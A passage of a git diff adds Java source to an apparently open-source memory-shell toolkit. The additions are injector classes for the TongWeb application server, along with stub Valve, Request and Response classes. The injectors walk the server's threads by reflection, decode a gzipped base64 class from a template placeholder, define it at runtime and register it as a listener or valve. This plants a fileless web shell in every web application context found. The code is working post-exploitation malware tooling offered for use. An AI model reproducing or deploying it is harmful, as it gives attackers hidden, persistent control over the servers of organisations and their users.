(IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebListenerInjector.java new file mode 100644 index 00000000..2e48799d --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebListenerInjector.java @@ -0,0 +1,214 @@ +package com.reajason.javaweb.memshell.tongweb.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class TongWebListenerInjector { + + static { + new TongWebListenerInjector(); + } + + public TongWebListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Object context = null; + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object listener) throws Exception { + if (isInjected(context)) { + return; + } + Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects"); + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray()); + } + } else if (getFieldValue(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFieldValue(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (Object o : arrayList) { + if (o.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebValveInjector.java new file mode 100644 index 00000000..8c0ae708 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/injector/TongWebValveInjector.java @@ -0,0 +1,196 @@ +package com.reajason.javaweb.memshell.tongweb.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class TongWebValveInjector { + + static { + new TongWebValveInjector(); + } + + public TongWebValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + Object context = null; + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + System.out.println(pipeline.getClass().getName()); + if (isInjected(pipeline)) { + System.out.println("valve already injected"); + return; + } + try { + Class valveClass = null; + try { + // tongweb7 + valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.catalina.Valve"); + } catch (ClassNotFoundException e) { + // tongweb6 + valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.web.thor.Valve"); + } + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object pipeline) throws Exception { + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(getClassName())) { + return true; + } + } + return false; + } + + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/tongweb/catalina/Valve.java b/memshell/src/main/java/com/tongweb/catalina/Valve.java new file mode 100644 index 00000000..cf13fdcf --- /dev/null +++ b/memshell/src/main/java/com/tongweb/catalina/Valve.java @@ -0,0 +1,19 @@ +package com.tongweb.catalina; + +import com.tongweb.catalina.connector.Request; +import com.tongweb.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +public interface Valve { + Valve getNext(); + + void setNext(Valve var1); + + void backgroundProcess(); + + void invoke(Request var1, Response var2) throws IOException, ServletException; + + boolean isAsyncSupported(); +} diff --git a/memshell/src/main/java/com/tongweb/catalina/connector/Request.java b/memshell/src/main/java/com/tongweb/catalina/connector/Request.java new file mode 100644 index 00000000..f40043a4 --- /dev/null +++ b/memshell/src/main/java/com/tongweb/catalina/connector/Request.java @@ -0,0 +1,345 @@ +package com.tongweb.catalina.connector; + +import javax.servlet.*; +import javax.servlet.http.*; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.security.Principal; +import java.util.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class Request implements HttpServletRequest { + @Override + public String getAuthType() { + return ""; + } + + @Override + public Cookie[] getCookies() { + return new Cookie[0]; + } + + @Override + public long getDateHeader(String name) { + return 0; + } + + @Override + public String getHeader(String name) { + return ""; + } + + @Override + public Enumeration getHeaders(String name) { + return null; + } + + @Override + public Enumeration getHeaderNames() { + return null; + } + + @Override + public int getIntHeader(String name) { + return 0; + } + + @Override + public String getMethod() { + return ""; + } + + @Override + public String getPathInfo() { + return ""; + } + + @Override + public String getPathTranslated() { + return ""; + } + + @Override + public String getContextPath() { + return ""; + } + + @Override + public String getQueryString() { + return ""; + } + + @Override + public String getRemoteUser() { + return ""; + } + + @Override + public boolean isUserInRole(String role) { + return false; + } + + @Override + public Principal getUserPrincipal() { + return null; + } + + @Override + public String getRequestedSessionId() { + return ""; + } + + @Override + public String getRequestURI() { + return ""; + } + + @Override + public StringBuffer getRequestURL() { + return null; + } + + @Override + public String getServletPath() { + return ""; + } + + @Override + public HttpSession getSession(boolean create) { + return null; + } + + @Override + public HttpSession getSession() { + return null; + } + + @Override + public boolean isRequestedSessionIdValid() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromCookie() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromURL() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromUrl() { + return false; + } + + @Override + public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { + return false; + } + + @Override + public void login(String username, String password) throws ServletException { + + } + + @Override + public void logout() throws ServletException { + + } + + @Override + public Collection getParts() throws IOException, ServletException { + return Collections.emptyList(); + } + + @Override + public Part getPart(String name) throws IOException, ServletException { + return null; + } + + @Override + public Object getAttribute(String name) { + return null; + } + + @Override + public Enumeration getAttributeNames() { + return null; + } + + @Override + public String getCharacterEncoding() { + return ""; + } + + @Override + public void setCharacterEncoding(String env) throws UnsupportedEncodingException { + + } + + @Override + public int getContentLength() { + return 0; + } + + @Override + public String getContentType() { + return ""; + } + + @Override + public ServletInputStream getInputStream() throws IOException { + return null; + } + + @Override + public String getParameter(String name) { + return ""; + } + + @Override + public Enumeration getParameterNames() { + return null; + } + + @Override + public String[] getParameterValues(String name) { + return new String[0]; + } + + @Override + public Map getParameterMap() { + return Collections.emptyMap(); + } + + @Override + public String getProtocol() { + return ""; + } + + @Override + public String getScheme() { + return ""; + } + + @Override + public String getServerName() { + return ""; + } + + @Override + public int getServerPort() { + return 0; + } + + @Override + public BufferedReader getReader() throws IOException { + return null; + } + + @Override + public String getRemoteAddr() { + return ""; + } + + @Override + public String getRemoteHost() { + return ""; + } + + @Override + public void setAttribute(String name, Object o) { + + } + + @Override + public void removeAttribute(String name) { + + } + + @Override + public Locale getLocale() { + return null; + } + + @Override + public Enumeration getLocales() { + return null; + } + + @Override + public boolean isSecure() { + return false; + } + + @Override + public RequestDispatcher getRequestDispatcher(String path) { + return null; + } + + @Override + public String getRealPath(String path) { + return ""; + } + + @Override + public int getRemotePort() { + return 0; + } + + @Override + public String getLocalName() { + return ""; + } + + @Override + public String getLocalAddr() { + return ""; + } + + @Override + public int getLocalPort() { + return 0; + } + + @Override + public ServletContext getServletContext() { + return null; + } + + @Override + public AsyncContext startAsync() throws IllegalStateException { + return null; + } + + @Override + public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { + return null; + } + + @Override + public boolean isAsyncStarted() { + return false; + } + + @Override + public boolean isAsyncSupported() { + return false; + } + + @Override + public AsyncContext getAsyncContext() { + return null; + } + + @Override + public DispatcherType getDispatcherType() { + return null; + } +} diff --git a/memshell/src/main/java/com/tongweb/catalina/connector/Response.java b/memshell/src/main/java/com/tongweb/catalina/connector/Response.java new file mode 100644 index 00000000..22352605 --- /dev/null +++ b/memshell/src/main/java/com/tongweb/catalina/connector/Response.java @@ -0,0 +1,196 @@ +package com.tongweb.catalina.connector; + +import javax.servlet.ServletOutputStream; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.Collection; +import java.util.Collections; +import java.util.Locale; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class Response implements HttpServletResponse { + @Override + public void addCookie(Cookie cookie) { + + } + + @Override + public boolean containsHeader(String name) { + return false; + } + + @Override + public String encodeURL(String url) { + return ""; + } + + @Override + public String encodeRedirectURL(String url) { + return ""; + } + + @Override + public String encodeUrl(String url) { + return ""; + } + + @Override + public String encodeRedirectUrl(String url) { + return ""; + } + + @Override + public void sendError(int sc, String msg) throws IOException { + + } + + @Override + public void sendError(int sc) throws IOException { + + } + + @Override + public void sendRedirect(String location) throws IOException { + + } + + @Override + public void setDateHeader(String name, long date) { + + } + + @Override + public void addDateHeader(String name, long date) { + + } + + @Override + public void setHeader(String name, String value) { + + } + + @Override + public void addHeader(String name, String value) { + + } + + @Override + public void setIntHeader(String name, int value) { + + } + + @Override + public void addIntHeader(String name, int value) { + + } + + @Override + public void setStatus(int sc) { + + } + + @Override + public void setStatus(int sc, String sm) { + + } + + @Override + public int getStatus() { + return 0; + } + + @Override + public String getHeader(String name) { + return ""; + } + + @Override + public Collection getHeaders(String name) { + return Collections.emptyList(); + } + + @Override + public Collection getHeaderNames() { + return Collections.emptyList(); + } + + @Override + public String getCharacterEncoding() { + return ""; + } + + @Override + public String getContentType() { + return ""; + } + + @Override + public ServletOutputStream getOutputStream() throws IOException { + return null; + } + + @Override + public PrintWriter getWriter() throws IOException { + return null; + } + + @Override + public void setCharacterEncoding(String charset) { + + } + + @Override + public void setContentLength(int len) { + + } + + @Override + public void setContentType(String type) { + + } + + @Override + public void setBufferSize(int size) { + + } + + @Override + public int getBufferSize() { + return 0; + } + + @Override + public void flushBuffer() throws IOException { + + } + + @Override + public void resetBuffer() { + + } + + @Override + public boolean isCommitted() { + return false; + } + + @Override + public void reset() { + + } + + @Override + public void setLocale(Locale loc) { + + } + + @Override + public Locale getLocale() { + return null; + } +} diff --git a/memshell/src/main/java/com/tongweb/web/thor/Valve.java b/memshell/src/main/java/com/tongweb/web/thor/Valve.java new file mode 100644 index 00000000..f5842572 --- /dev/null +++ b/memshell/src/main/java/com/tongweb/web/thor/Valve.java @@ -0,0 +1,24 @@ +package com.tongweb.web.thor; + +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +public interface Valve { + String getInfo(); + + Valve getNext(); + + void setNext(Valve var1); + + void backgroundProcess(); + + void invoke(Request var1, Response var2) throws IOException, ServletException; + + void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException; + + boolean isAsyncSupported(); +} diff --git a/memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java b/memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java new file mode 100644 index 00000000..fca8ef96 --- /dev/null +++ b/memshell/src/main/java/com/tongweb/web/thor/comet/CometEvent.java @@ -0,0 +1,8 @@ +package com.tongweb.web.thor.comet; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class CometEvent { +} diff --git a/memshell/src/main/java/com/tongweb/web/thor/connector/Request.java b/memshell/src/main/java/com/tongweb/web/thor/connector/Request.java new file mode 100644 index 00000000..55a9ad28 --- /dev/null +++ b/memshell/src/main/java/com/tongweb/web/thor/connector/Request.java @@ -0,0 +1,345 @@ +package com.tongweb.web.thor.connector; + +import javax.servlet.*; +import javax.servlet.http.*; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.security.Principal; +import java.util.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class Request implements HttpServletRequest { + @Override + public String getAuthType() { + return ""; + } + + @Override + public Cookie[] getCookies() { + return new Cookie[0]; + } + + @Override + public long getDateHeader(String name) { + return 0; + } + + @Override + public String getHeader(String name) { + return ""; + } + + @Override + public Enumeration getHeaders(String name) { + return null; + } + + @Override + public Enumeration getHeaderNames() { + return null; + } + + @Override + public int getIntHeader(String name) { + return 0; + } + + @Override + public String getMethod() { + return ""; + } + + @Override + public String getPathInfo() { + return ""; + } + + @Override + public String getPathTranslated() { + return ""; + } + + @Override + public String getContextPath() { + return ""; + } + + @Override + public String getQueryString() { + return ""; + } + + @Override + public String getRemoteUser() { + return ""; + } + + @Override + public boolean isUserInRole(String role) { + return false; + } + + @Override + public Principal getUserPrincipal() { + return null; + } + + @Override + public String getRequestedSessionId() { + return ""; + } + + @Override + public String getRequestURI() { + return ""; + } + + @Override + public StringBuffer getRequestURL() { + return null; + } + + @Override + public String getServletPath() { + return ""; + } + + @Override + public HttpSession getSession(boolean create) { + return null; + } + + @Override + public HttpSession getSession() { + return null; + } + + @Override + public boolean isRequestedSessionIdValid() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromCookie() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromURL() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromUrl() { + return false; + } + + @Override + public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { + return false; + } + + @Override + public void login(String username, String password) throws ServletException { + + } + + @Override + public void logout() throws ServletException { + + } + + @Override + public Collection getParts() throws IOException, ServletException { + return Collections.emptyList(); + } + + @Override + public Part getPart(String name) throws IOException, ServletException { + return null; + } + + @Override + public Object getAttribute(String name) { + return null; + } + + @Override + public Enumeration getAttributeNames() { + return null; + } + + @Override + public String getCharacterEncoding() { + return ""; + } + + @Override + public void setCharacterEncoding(String env) throws UnsupportedEncodingException { + + } + + @Override + public int getContentLength() { + return 0; + } + + @Override + public String getContentType() { + return ""; + } + + @Override + public ServletInputStream getInputStream() throws IOException { + return null; + } + + @Override + public String getParameter(String name) { + return ""; + } + + @Override + public Enumeration getParameterNames() { + return null; + } + + @Override + public String[] getParameterValues(String name) { + return new String[0]; + } + + @Override + public Map getParameterMap() { + return Collections.emptyMap(); + } + + @Override + public String getProtocol() { + return ""; + } + + @Override + public String getScheme() { + return ""; + } + + @Override + public String getServerName() { + return ""; + } + + @Override + public int getServerPort() { + return 0; + } + + @Override + public BufferedReader getReader() throws IOException { + return null; + } + + @Override + public String getRemoteAddr() { + return ""; + } + + @Override + public String getRemoteHost() { + return ""; + } + + @Override + public void setAttribute(String name, Object o) { + + } + + @Override + public void removeAttribute(String name) { + + } + + @Override + public Locale getLocale() { + return null; + } + + @Override + public Enumeration getLocales() { + return null; + } + + @Override + public boolean isSecure() { + return false; + } + + @Override + public RequestDispatcher getRequestDispatcher(String path) { + return null; + } + + @Override + public String getRealPath(String path) { + return ""; + } + + @Override + public int getRemotePort() { + return 0; + } + + @Override + public String getLocalName() { + return ""; + } + + @Override + public String getLocalAddr() { + return ""; + } + + @Override + public int getLocalPort() { + return 0; + } + + @Override + public ServletContext getServletContext() { + return null; + } + + @Override + public AsyncContext startAsync() throws IllegalStateException { + return null; + } + + @Override + public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { + return null; + } + + @Override + public boolean isAsyncStarted() { + return false; + } + + @Override + public boolean isAsyncSupported() { + return false; + } + + @Override + public AsyncContext getAsyncContext() { + return null; + } + + @Override + public DispatcherType getDispatcherType() { + return null; + } +} diff --git a/memshell/src/main/java/com/tongweb/web/thor/connector/Response.java b/memshell/src/main/java/com/tongweb/web/thor/connector/Response.java new file mode 100644 index 00000000..ed735f85 --- /dev/null +++ b/memshell/src/main/java/com/tongweb/web/thor/connector/Response.java @@ -0,0 +1,196 @@ +package com.tongweb.web.thor.connector; + +import javax.servlet.ServletOutputStream; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.Collection; +import java.util.Collections; +import java.util.Locale; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class Response implements HttpServletResponse { + @Override + public void addCookie(Cookie cookie) { + + } + + @Override + public boolean containsHeader(String name) { + return false; + } + + @Override + public String encodeURL(String url) { + return ""; + } + + @Override + public String encodeRedirectURL(String url) { + return ""; + } + + @Override + public String encodeUrl(String url) { + return ""; + } + + @Override + public String encodeRedirectUrl(String url) { + return ""; + } + + @Override + public void sendError(int sc, String msg) throws IOException { + + } + + @Override + public void sendError(int sc) throws IOException { + + } + + @Override + public void sendRedirect(String location) throws IOException { + + } + + @Override + public void setDateHeader(String name, long date) { + + } + + @Override + public void addDateHeader(String name, long date) { + + } + + @Override + public void setHeader(String name, String value) { + + } + + @Override + public void addHeader(String name, String value) { + + } + + @Override + public void setIntHeader(String name, int value) { + + } + + @Override + public void addIntHeader(String name, int value) { + + } + + @Override + public void setStatus(int sc) { + + } + + @Override + public void setStatus(int sc, String sm) { + + } + + @Override + public int getStatus() { + return 0; + } + + @Override + public String getHeader(String name) { + return ""; + } + + @Override + public Collection getHeaders(String name) { + return Collections.emptyList(); + } + + @Override + public Collection getHeaderNames() { + return Collections.emptyList(); + } + + @Override + public String getCharacterEncoding() { + return ""; + } + + @Override + public String getContentType() { + return ""; + } + + @Override + public ServletOutputStream getOutputStream() throws IOException { + return null; + } + + @Override + public PrintWriter getWriter() throws IOException { + return null; + } + + @Override + public void setCharacterEncoding(String charset) { + + } + + @Override + public void setContentLength(int len) { + + } + + @Override + public void setContentType(String type) { + + } + + @Override + public void setBufferSize(int size) { + + } + + @Override + public int getBufferSize() { + return 0; + } + + @Override + public void flushBuffer() throws IOException { + + } + + @Override + public void resetBuffer() { + + } + + @Override + public boolean isCommitted() { + return false; + } + + @Override + public void reset() { + + } + + @Override + public void setLocale(Locale loc) { + + } + + @Override + public Locale getLocale() { + return null; + } +}